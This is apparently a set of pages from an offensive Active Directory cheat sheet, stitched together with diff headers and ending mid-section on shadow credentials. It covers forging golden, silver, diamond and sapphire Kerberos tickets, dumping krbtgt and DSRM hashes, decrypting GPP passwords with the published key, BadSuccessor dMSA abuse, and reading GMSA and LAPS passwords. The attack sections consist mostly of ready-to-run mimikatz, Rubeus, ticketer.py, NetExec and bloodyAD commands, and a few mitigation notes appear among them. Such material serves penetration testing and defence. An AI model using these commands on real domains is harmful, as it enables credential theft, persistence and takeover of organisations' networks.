## Convert Kerberos Tickets
In the Kerberos authentication protocol, ccache and kirbi are two types of Kerberos credential caches that are used to store Kerberos tickets.
* A credential cache, or `"ccache"` is a temporary storage area for Kerberos tickets that are obtained during the authentication process. The ccache contains the user's authentication credentials and is used to access network resources without having to re-enter the user's credentials for each request.
* The Kerberos Integrated Windows Authentication (KIWA) protocol used by Microsoft Windows systems also makes use of a credential cache called a `"kirbi"` cache. The kirbi cache is similar to the ccache used by standard Kerberos implementations, but with some differences in the way it is structured and managed.
While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient access to network resources, they differ in format and structure. You can convert them easily using:
* kekeo: `misc::convert ccache ticket.kirbi`
* impacket: `impacket-ticketConverter SRV01.kirbi SRV01.ccache`
## Pass-the-Ticket Golden Tickets
A Golden Ticket is a forged Kerberos Ticket Granting Ticket (TGT) that allows an attacker to impersonate any user — including Domain Admins — on a compromised Active Directory domain.
**Requirements**:
| Requirement | Description |
| ----------------- | ----------- |
| Domain name | corp.local |
| Domain SID | S-1-5-21-1234567890-2345678901-3456789012 |
| KRBTGT NTLM hash | The NTLM hash of the KRBTGT account |
| Username | Administrator |
| (Optional) Groups | Add group SIDs for elevated access (e.g., Domain Admin) |
As a result of `CVE-2021-42287` mitigations, the ticket cannot use a non-existent account name.
> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used.
### Golden Ticket Creation
* Using **Ticketer**
```powershell
python3 ticketer.py -nthash <KRBTGT_NTLM_HASH> \
-domain-sid S-1-5-21-1234567890-2345678901-3456789012 \
-domain corp.local Administrator
python3 ticketer.py -nthash <KRBTGT_NTLM_HASH> \
-domain-sid S-1-5-21-1234567890-2345678901-3456789012 \
-domain corp.local \
-user-id 500 \
-extra-sid S-1-5-21-1234567890-2345678901-3456789012-512 \
Administrator
```
* Using **Mimikatz**
```powershell
# Get info - Mimikatz
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /user:krbtgt
# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```
* Using **Meterpreter**
```powershell
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt
# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```
Golden tickets with "Enterprise admins" SID can be used cross forest boundaries.
**Mitigations**:
* Hard to detect because they are legit TGT tickets
* Mimikatz generate a golden ticket with a life-span of 10 years
## Pass-the-Ticket Silver Tickets
Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account.
```powershell
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi
root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```
Interesting services to target with a silver ticket :
| Service Type | Service Silver Tickets | Attack |
|---------------------------------------------|------------------------|--------|
| WMI | HOST + RPCSS | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"` |
| PowerShell Remoting | CIFS + HTTP + (wsman?) | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| WinRM | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| Scheduled Tasks | HOST | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` |
| Windows File Share (CIFS) | CIFS | `dir \\dc01\c$` |
| LDAP operations including Mimikatz DCSync | LDAP | `lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt` |
| Windows Remote Server Administration Tools | RPCSS + LDAP + CIFS | / |
Mitigations:
* Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.
## Pass-the-Ticket Diamond Tickets
> Request a legit low-priv TGT and recalculate only the PAC field providing the krbtgt encryption key
Requirements:
* krbtgt NT Hash
* krbtgt AES key
```ps1
ticketer.py -request -domain 'lab.local' -user 'domain_user' -password 'password' -nthash 'krbtgt/service NT hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' -user-id '1337' -groups '512,513,518,519,520' 'baduser'
Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS
```
## Pass-the-Ticket Sapphire Tickets
> Requesting the target user's PAC with `S4U2self+U2U` exchange during TGS-REQ(P) (PKINIT).
The goal is to mimic the PAC field as close as possible to a legitimate one.
Requirements:
* [Impacket PR#1411](https://github.com/SecureAuthCorp/impacket/pull/1411)
* krbtgt AES key
```ps1
# baduser argument will be ignored
ticketer.py -request -impersonate 'domain_adm' -domain 'lab.local' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'
```
## References
* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/)
* [How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf](https://adsecurity.org/?p=2011)
* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
* [Diamond tickets - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/diamond)
* [A Diamond (Ticket) in the Ruff - By CHARLIE CLARK July 05, 2022](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/)
* [Sapphire tickets - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/sapphire)
* [WONKACHALL AKERVA NDH2018 WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
* [WONKACHALL AKERVA NDH2018 WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
* [WONKACHALL AKERVA NDH2018 WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
* [WONKACHALL AKERVA NDH2018 WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/)
* [WONKACHALL AKERVA NDH2018 WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
* [How To Attack Kerberos 101 - m0chan - July 31, 2019](https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html)
* [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)

View File

@@ -0,0 +1,37 @@
# Password - AD User Comment
There are 3-4 fields that seem to be common in most Active Directory schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.
* Windows/Linux command
```ps1
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(|(userPassword=*)(unixUserPassword=*)(unicodePassword=*)(description=*))' --attr userPassword,unixUserPassword,unicodePwd,description
```
* Password in User Description
```powershell
netexec ldap domain.lab -u 'username' -p 'password' -M user-desc
netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
GET-DESC... 10.0.2.11 389 dc01 [+] Found following users:
GET-DESC... 10.0.2.11 389 dc01 User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.0.2.11 389 dc01 User: krbtgt description: Key Distribution Center Service Account
```
* Get `unixUserPassword` attribute from all users in ldap
```ps1
nxc ldap 10.10.10.10 -u user -p pass -M get-unixUserPassword -M getUserPassword
```
* Native Powershell command
```powershell
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
```
* Dump the Active Directory and `grep` the content.
```powershell
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
```

View File

@@ -0,0 +1,18 @@
# Password - DSRM Credentials
> Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.
This is the local administrator account inside each DC. Having admin privileges in this machine, you can use Mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.
```ps1
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior
# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD
# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```

View File

@@ -0,0 +1,58 @@
# Password - Group Policy Preferences
Find passwords in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.
```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```
Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)
```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
e.g:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```
## Automate the SYSVOL and passwords research
* `Metasploit` modules to enumerate shares and credentials
```c
scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp
```
* NetExec modules
```powershell
nxc smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
nxc smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
```
* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py)
```powershell
# with a NULL session
Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
# with cleartext credentials
Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
# pass-the-hash
Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
```
## Mitigations
* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
* Delete existing GPP xml files in SYSVOL containing passwords.
* Dont put passwords in files that are accessible by all authenticated users.
## References
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)

View File

@@ -0,0 +1,39 @@
# Password - Pre-Created Computer Account
When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**.
```ps1
# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
```
* When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304)
```ps1
python3 rpcchangepwd.py '<DOMAIN>/COMPUTER>$':'<PASSWORD>'@<DC IP> -newpass '<PASS>'
```
:warning: When the machine account name and the password are the same, the machine will also act like a pre-Windows 2000 computer and the authentication will result in `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
```ps1
$ impacket-addcomputer -dc-ip 10.10.10.10 EXODIA.LOCAL/Administrator:P@ssw0rd -computer-name swkserver -computer-pass swkserver
[*] Successfully added machine account swkserver$ with password swkserver.
$ nxc smb 10.10.10.10 -u 'swkserver$' -p swkserver
SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-8OJFTLMU1IG) (domain:EXODIA.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [-] EXODIA.LOCAL\swkserver$:swkserver STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
```
## Enumerate Pre-Created Computer Account
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each
```ps1
nxc -u username -p password -M pre2K
```
## References
* [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/)

View File

@@ -0,0 +1,111 @@
# Password - dMSA
Delegated Managed Service Accounts (dMSAs)
## BadSuccessor
**Requirements**:
* Windows Server 2025 Domain Controller
* Permission on any organizational unit (OU) in the domain
**Tools**:
* [akamai/BadSuccessor/Get-BadSuccessorOUPermissions.ps1](https://github.com/akamai/BadSuccessor)
* [LuemmelSec/Pentest-Tools-Collection/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
* [GhostPack/Rubeus PR #194](https://github.com/GhostPack/Rubeus/pull/194)
* [CravateRouge/bloodyAD Commit #210f735](https://github.com/CravateRouge/bloodyAD/commit/210f735474a403dd64b218b84e98a27e157e7ed3)
* [skelsec/minikerberos/getDmsa.py](https://github.com/skelsec/minikerberos/blob/main/minikerberos/examples/getDmsa.py)
* [logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
```ps1
SharpSuccessor.exe add /impersonate:Administrator /path:"ou=test,dc=lab,dc=lan" /account:jdoe /name:attacker_dMSA
```
* [Pennyw0rth/NetExec PR #702](https://github.com/Pennyw0rth/NetExec/pull/702/commits/e75512a93cde0c893505fd806e169a2aa7a683db)
```ps1
poetry run netexec ldap 10.10.10.10 -u administrator -p Passw0rd -M badsuccessor
```
![badsuccessor-attack-flow](https://www.akamai.com/site/en/images/blog/2025/badsuccessor-image5.png)
**Manual Exploitation**:
* Verify if the DC is a Server 2025
```ps1
ldapsearch "(&(objectClass=computer)(primaryGroupID=516))" dn,name,operatingsystem
# BloodHound Query
MATCH (c:Computer)
WHERE c.isdc = true AND c.operatingsystem CONTAINS "2025"
RETURN c.name
```
* Create unfunctional dMSA
```ps1
New-ADServiceAccount -Name "attacker_dmsa" -DNSHostName "dontcare.com" -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword "attacker-machine$" -path "OU=temp,DC=aka,DC=test"
```
* Edit `msDS-ManagedAccountPrecededByLink` and `msDS-DelegatedMSAState` values
```ps1
# msDS-ManagedAccountPrecededByLink, targeted user or computer
# msDS-DelegatedMSAState=2, completed migration
$dMSA = [ADSI]"LDAP://CN=attacker_dmsa,OU=temp,DC=aka,DC=test"
$dMSA.Put("msDS-DelegatedMSAState", 2)
$dMSA.Put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=Users,DC=aka,DC=test")
$dMSA.SetInfo()
```
* dMSA authentication with Rubeus
```ps1
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:<Machine TGT>
```
## Credential Dumping
> When you request a TGT for a dMSA, it comes with a new structure called KERB-DMSA-KEY-PACKAGE. This structure includes two fields: current-keys and previous-keys. - Akamai Blog Post
The previous-keys field contains the RC4-HMAC of the password (NT Hash).
```ps1
.\Invoke-BadSuccessorKeysDump.ps1 -OU 'OU=temp,DC=aka,DC=test'
```
* [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
```ps1
$domain = Get-ADDomain
$dmsa = "CN=mydmsa,CN=Managed Service Accounts,$($domain.DistinguishedName)"
$allDNs = @(Get-ADUser -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName) + @(Get-ADComputer -Filter * | select @{n='DN';e={$_.DistinguishedName}}, SAMAccountName)
$allDNs | % {
Set-ADObject -Identity $dmsa -Replace @{ "msDS-ManagedAccountPrecendedByLink" = $_.DN }
$res = Invoke-Rubeus asktgs /targeteduser:mydmsa$ /service:"krbtgt/$(domain.DNSRoot)" /opsec /dmsa /nowrap /ticket:$kirbi
$rc4 = [regex]::Match($res, 'Previous Keys for .*\$: \(rc4_hmac\) ([A-F0-9]{32})').Groups[1].Value
"$($_.sAMAccountName):$rc4"
}
```
* [CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD)
```ps1
python bloodyAD.py --host 192.168.100.5 -d bloody.corp -u jeanne -p 'Password123!' get writable --otype OU
python bloodyAD.py --host 192.168.100.5 -d bloody.corp -u jeanne -p 'Password123!' add badSuccessor dmsADM10
```
* [snovvcrash/dMSASync.py](https://gist.github.com/snovvcrash/a1ae180ab3b49acb43da8fd34e7e93df)
```ps1
getTGT.py 'kerberos+aes://contoso.local\user:AES_KEY@DC_IP' --ccache user.ccache
dMSASync.py 'contoso.local\user:user.ccache@DC01.contoso.local/?dc=DC_IP' 'CN=dmsa,CN=Managed Service Accounts,DC=contoso,DC=local'
```
## References
* [BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory - Yuval Gordon - May 21, 2025](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
* [Operationalizing the BadSuccessor: Abusing dMSA for Domain Privilege Escalation - Arun Nair - May 23, 2025](https://medium.com/seercurity-spotlight/operationalizing-the-badsuccessor-abusing-dmsa-for-domain-privilege-escalation-429cefc36187)
* [Understanding & Mitigating BadSuccessor - Jim Sykora - May 27 2025](https://specterops.io/blog/2025/05/27/understanding-mitigating-badsuccessor/)

View File

@@ -0,0 +1,93 @@
# Password - GMSA
## Reading GMSA Password
> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.
### GMSA Attributes in the Active Directory
* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.
* `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
* `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
* `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.
### Extract NT hash from the Active Directory
* [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
```ps1
netexec ldap 10.10.10.10 -u user -p pass --gmsa
# Use --lsa to get GMSA ID
netexec ldap domain.lab -u user -p 'PWD' --gmsa-convert-id 00[...]99
netexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....'
```
* [CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD)
```ps1
bloodyAD --host 10.10.10.10 -d crash.lab -u john -p 'Pass123*' get search --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' --attr msDS-ManagedPassword
```
* [franc-pentest/ldeep](https://github.com/franc-pentest/ldeep)
```ps1
ldeep ldap -s dc1.domain.local -u 'username' -p 'P@ssw0rd' -d domain.local gmsa
```
* [rvazarkar/GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
```ps1
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
```
* [micahvandeusen/gMSADumper](https://github.com/micahvandeusen/gMSADumper)
```powershell
python3 gMSADumper.py -u User -p Password1 -d domain.local
```
* Active Directory Powershell
```ps1
$gmsa = Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$hash1 = ConvertTo-NTHash -Password $mp.SecureCurrentPassword
```
* [kdejoyce/gMSA_Permissions_Collection.ps1](https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1) based on Active Directory PowerShell module
## Forging Golden GMSA
> One notable difference between a **Golden Ticket** attack and the **Golden GMSA** attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.
:warning: You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and `ManagedPasswordIntervalInDays`, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.
* Using [GoldenGMSA](https://github.com/Semperis/GoldenGMSA)
```ps1
# Enumerate all gMSAs
GoldenGMSA.exe gmsainfo
# Query for a specific gMSA
GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112
# Dump all KDS Root Keys
GoldenGMSA.exe kdsinfo
# Dump a specific KDS Root Key
GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb
# Compute gMSA password
# --sid <gMSA SID>: SID of the gMSA (required)
# --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
# --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode
```
## References
* [Introducing the Golden GMSA Attack - YUVAL GORDON - March 01, 2022](https://www.semperis.com/blog/golden-gmsa-attack/)
* [Hunt for the gMSA secrets - Dr Nestori Syynimaa (@DrAzureAD) - August 29, 2022](https://aadinternals.com/post/gmsa/)
* [Practical guide for Golden SAML - Practical guide step by step to create golden SAML](https://nodauf.dev/p/practical-guide-for-golden-saml/)

View File

@@ -0,0 +1,100 @@
# Password - LAPS
## Reading LAPS Password
> Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.
### Determine if LAPS is installed
```ps1
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
```
### Extract LAPS password
> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users
- Windows/Linux:
```ps1
bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
```
- From Windows:
- adsisearcher (native binary on Windows 8+)
```powershell
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
```
- [PowerTools/PowerView](https://github.com/PowerShellEmpire/PowerTools)
```powershell
PS > Import-Module .\PowerView.ps1
PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
```
- [leoloobeek/LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)
```powershell
$ Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
example.domain.local dbZu7;vGaI)Y6w1L 02/21/2021 22:29:18
$ Find-LAPSDelegatedGroups
$ Find-AdmPwdExtendedRights
```
- Powershell AdmPwd.PS
```powershell
foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
```
- From Linux:
- [p0dalirius/pyLAPS](https://github.com/p0dalirius/pyLAPS) to **read** and **write** LAPS passwords:
```bash
# Read the password of all computers
./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
# Write a random password to a specific computer
./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
```
- [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec):
```bash
netexec ldap 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps
```
- [n00py/LAPSDumper](https://github.com/n00py/LAPSDumper)
```bash
python laps.py -u 'user' -p 'password' -d 'domain.local'
python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'
```
- ldapsearch
```bash
ldapsearch -x -h  -D "<bind user>" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd
```
### Grant LAPS Access
The members of the group **"Account Operator"** can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password
```ps1
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"
```
## References
- [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab)

View File

@@ -0,0 +1,118 @@
# Password - Shadow Credentials
> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.
:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists
**Requirements**:
* Domain Controller on (at least) Windows Server 2016
* Domain must have Active Directory `Certificate Services` and `Certificate Authority` configured
* PKINIT Kerberos authentication
* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object
**Exploitation**:
* [ly4k/Certipy](https://github.com/ly4k/Certipy)
```ps1
certipy shadow auto -account user -dc-ip 10.10.10.10 -dns-tcp -ns 10.10.10.10 -k -no-pass -target dc.domain.lab
certipy shadow -u 'attacker@domain.local' -p 'Passw0rd!' -dc-ip '10.0.0.100' -account 'victim' add
```
* [CravateRouge/bloodyAD](https://github.com/CravateRouge/bloodyAD):
```ps1
bloodyAD --host 10.10.10.10 -u username -p 'P@ssw0rd' -d domain.lab add shadowCredentials targetpc$
bloodyAD --host 10.10.10.10 -u username -p 'P@ssw0rd' -d domain.lab remove shadowCredentials targetpc$ --key <key from previous output>
```
* [eladshamir/Whisker](https://github.com/eladshamir/Whisker):
```powershell
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
Whisker.exe list /target:computername$
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
# Removes a key credential from the target object specified by a DeviceID GUID.
